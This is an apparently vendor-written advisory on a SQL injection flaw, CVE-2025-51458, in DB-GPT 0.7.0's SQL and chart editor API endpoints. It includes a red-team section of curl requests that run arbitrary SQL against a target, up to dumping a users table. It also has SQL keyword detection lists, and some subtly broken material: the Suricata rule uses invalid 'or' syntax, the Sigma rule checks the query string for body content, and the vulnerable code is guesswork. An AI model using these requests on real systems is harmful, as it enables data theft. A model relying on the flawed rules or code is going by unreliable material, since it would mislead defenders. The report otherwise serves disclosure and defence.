CVE-2025-51458

Executive Summary

CVE-2025-51458 is a critical SQL Injection vulnerability discovered in the eosphoros-ai DB-GPT project, specifically in version 0.7.0. The flaw resides in the editor_sql_run and query_ex functions, which are exposed via the /v1/editor/sql/run and /v1/editor/chart/run API endpoints. An unauthenticated remote attacker can craft malicious SQL input to these endpoints, leading to arbitrary SQL statement execution against the underlying database. This can result in full data exfiltration, data manipulation, or even remote code execution depending on database permissions.

Supply Chain & Package Security

This vulnerability affects the Python package db-gpt (PyPI). Organizations using this package in their AI/LLM data pipelines should immediately assess their exposure. The package is often deployed in containerized environments (Docker) or as part of a larger microservices architecture. Since no official patch has been released, the supply chain risk is elevated, and users must implement strict input validation or temporarily disable the vulnerable endpoints.

CVSS Breakdown & Threat Level

While the official CVSS score is listed as 0.0 (likely due to incomplete NVD data), the actual severity is critical. Based on the vulnerability characteristics:

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Unchanged (U) – the vulnerable component is the database.
• Confidentiality (C): High (H) – full database read access.
• Integrity (I): High (H) – full database write access.
• Availability (A): High (H) – potential for denial of service or data destruction.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Estimated Score: 9.8 (Critical)

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the api_editor_v1 module. The endpoints /v1/editor/sql/run and /v1/editor/chart/run accept user-supplied SQL queries or chart configuration parameters. These inputs are passed directly to the editor_sql_run and editor_chart_run functions, which in turn call datasource.rdbms.base.query_ex without proper sanitization or parameterization.

Attack Flow:

1. Attacker sends a POST request to /v1/editor/sql/run with a JSON body containing a sql parameter.
2. The sql parameter is concatenated directly into a database query string.
3. The database executes the malicious SQL, allowing the attacker to read, modify, or delete data.

Example vulnerable code path (conceptual):

# Vulnerable code in api_editor_v1.py
def editor_sql_run(sql_query):
    # No sanitization
    result = datasource.rdbms.base.query_ex(sql_query)
    return result

Vulnerable vs. Patched Code

Since no official patch exists, the following comparison is based on expected secure coding practices.

Vulnerable Code (DB-GPT 0.7.0):

# api_editor_v1.py (vulnerable)
def editor_sql_run(sql_query):
    # Direct concatenation - vulnerable
    query = f"SELECT * FROM data WHERE condition = '{sql_query}'"
    return execute_query(query)

Patched Code (Expected):

# api_editor_v1.py (patched)
def editor_sql_run(sql_query):
    # Parameterized query - safe
    query = "SELECT * FROM data WHERE condition = %s"
    return execute_query(query, (sql_query,))

Key Differences:

• The vulnerable version uses string formatting (f"...") to embed user input.
• The patched version uses parameterized queries (%s placeholder) and passes the input as a separate argument, preventing SQL injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A running instance of DB-GPT 0.7.0 with the vulnerable endpoints exposed.
• Network access to the API.

Exploitation Steps:

1. Identify the target:

   curl -s http://target:5000/v1/editor/sql/run -X POST -H "Content-Type: application/json" -d '{"sql":"SELECT 1;"}'
   

2. Extract database version:

   curl -s http://target:5000/v1/editor/sql/run -X POST -H "Content-Type: application/json" -d '{"sql":"SELECT sqlite_version();"}'
   

3. List tables (example for SQLite):

   curl -s http://target:5000/v1/editor/sql/run -X POST -H "Content-Type: application/json" -d '{"sql":"SELECT name FROM sqlite_master WHERE type='\''table'\'';"}'
   

4. Dump data from a table:

   curl -s http://target:5000/v1/editor/sql/run -X POST -H "Content-Type: application/json" -d '{"sql":"SELECT * FROM users;"}'
   

Note: The exact syntax depends on the underlying database (SQLite, PostgreSQL, MySQL). Adjust accordingly.

Blue Team (Defense & Detection)

Immediate Actions:

1. Disable the vulnerable endpoints by removing or commenting out the route definitions in api_editor_v1.py.
2. Implement a Web Application Firewall (WAF) rule to block requests containing SQL keywords (e.g., SELECT, UNION, DROP) in the sql parameter.
3. Monitor logs for unusual SQL queries or repeated requests to /v1/editor/sql/run and /v1/editor/chart/run.

Detection Rules:

• Look for HTTP POST requests to /v1/editor/sql/run or /v1/editor/chart/run with a JSON body containing a sql field.
• Alert on any response that returns database error messages (e.g., SQLite error, MySQL error).

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /v1/editor/sql/run or /v1/editor/chart/run with SQL keywords in the body.
• Unusual outbound database connections from the DB-GPT server.
• Large data transfers from the server to external IPs.

File IOCs:

• Modified log files in /var/log/db-gpt/ containing SQL error messages.
• Temporary files created by database dumps (e.g., /tmp/dump.sql).

Process IOCs:

• Unexpected database processes (e.g., sqlite3, psql) spawned by the DB-GPT application.

Detection Engineering

YARA Rule

rule CVE_2025_51458_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting DB-GPT editor endpoints"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-51458"
    strings:
        $endpoint1 = "/v1/editor/sql/run"
        $endpoint2 = "/v1/editor/chart/run"
        $sql_keyword1 = "SELECT"
        $sql_keyword2 = "UNION"
        $sql_keyword3 = "DROP"
        $sql_keyword4 = "INSERT"
        $sql_keyword5 = "DELETE"
        $sql_keyword6 = "OR 1=1"
    condition:
        (any of ($endpoint*) and any of ($sql_keyword*))
}

Sigma Rule

title: CVE-2025-51458 SQL Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts against DB-GPT editor endpoints
author: Valters IT
date: 2025-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem:
            - '/v1/editor/sql/run'
            - '/v1/editor/chart/run'
        cs-uri-query|contains:
            - 'SELECT'
            - 'UNION'
            - 'DROP'
            - 'INSERT'
            - 'DELETE'
            - 'OR 1=1'
    condition: selection
falsepositives:
    - Legitimate SQL queries from authorized users
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-51458 SQL Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/v1/editor/sql/run" or content:"/v1/editor/chart/run"; http_uri; content:"SELECT" or content:"UNION" or content:"DROP" or content:"INSERT" or content:"DELETE" or content:"OR 1=1"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Mitigation:

1. Disable the vulnerable endpoints by removing the route definitions in api_editor_v1.py and restarting the service.
2. Implement input validation – allow only alphanumeric characters and specific SQL keywords if absolutely necessary.
3. Use a WAF to block SQL injection patterns.

Long-Term Remediation:

1. Apply parameterized queries in all database interactions.
2. Upgrade to a patched version once released by the vendor.
3. Conduct a security audit of all API endpoints for similar vulnerabilities.

Workaround:

• If the endpoints are required for business operations, restrict access to trusted IPs only via firewall rules.

Report generated by Valters IT DevSecOps & CTI Division. For internal use only.